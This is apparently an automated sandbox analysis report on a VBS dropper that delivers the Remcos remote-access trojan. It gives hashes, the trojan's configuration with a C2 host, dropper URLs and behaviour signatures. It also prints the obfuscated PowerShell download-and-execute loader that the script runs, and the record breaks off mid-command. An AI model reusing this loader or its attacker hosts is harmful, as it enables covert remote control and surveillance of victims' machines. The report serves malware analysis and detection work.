Analysis

  • max time kernel
    119s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 14:41

General

  • Target

    buttersmoothkitchenapparealssilk.vbs

  • Size

    113KB

  • MD5

    76326ac1e6d011a8ebcba393ae837027

  • SHA1

    7522980c1732232015f991e0acde8317662430a2

  • SHA256

    898a32ace081284c9ac01b3a33a3b000abab7f4e207a6f8e1a7ae213e1e3cdf5

  • SHA512

    829a7a45944a055ca9723e835319b1c919eb895c720c38040154aaf836184aea33a849e71f1b4a7cd9f191265f4cc0809de7ddc53a5cbd3c9b8eaf989e138e99

  • SSDEEP

    1536:MkLcccOgt5pzwUGw3VUJW4Wrle/PhG+/kery+bG8:Xgt5pVGw3dS7b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://servidorwindows.ddns.com.br/Files/vbs.jpeg

exe.dropper

http://servidorwindows.ddns.com.br/Files/vbs.jpeg

Extracted

Family

remcos

Botnet

RemoteHost

C2

serversw.duckdns.org:6875

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    nert

  • keylog_path

    %Temp%

  • mouse_option

    false

  • mutex

    Rmc-6K7C75

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\buttersmoothkitchenapparealssilk.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑LwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cgB2⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑dwBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bu⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑LgBj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑cg⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YgBz⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑agBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑ZQBi⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bgB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB3⫮ ≵ ₪ ㊎ ㆑C0⫮ ≵ ₪ ㊎ ㆑TwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑VwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgB5⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑ew⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑dwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBE⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dwBu⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑R⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQ⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑aw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑fQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BX⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑aQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LQBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑JwBG⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bwB3⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bm⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑ZwBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBu⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑ZQBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑UwB5⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑LgBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑RQBu⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑bwBk⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑Og⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑FU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Dg⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cgB0⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑8⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑QgBB⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑RQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑XwBT⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑QQBS⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑+⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑RgBs⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑P⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑UwBF⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑Bf⫮ ≵ ₪ ㊎ ㆑EU⫮ ≵ ₪ ㊎ ㆑TgBE⫮ ≵ ₪ ㊎ ㆑D4⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑BP⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑aQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑ZwBl⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑TwBm⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Zg⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑w⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑r⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ 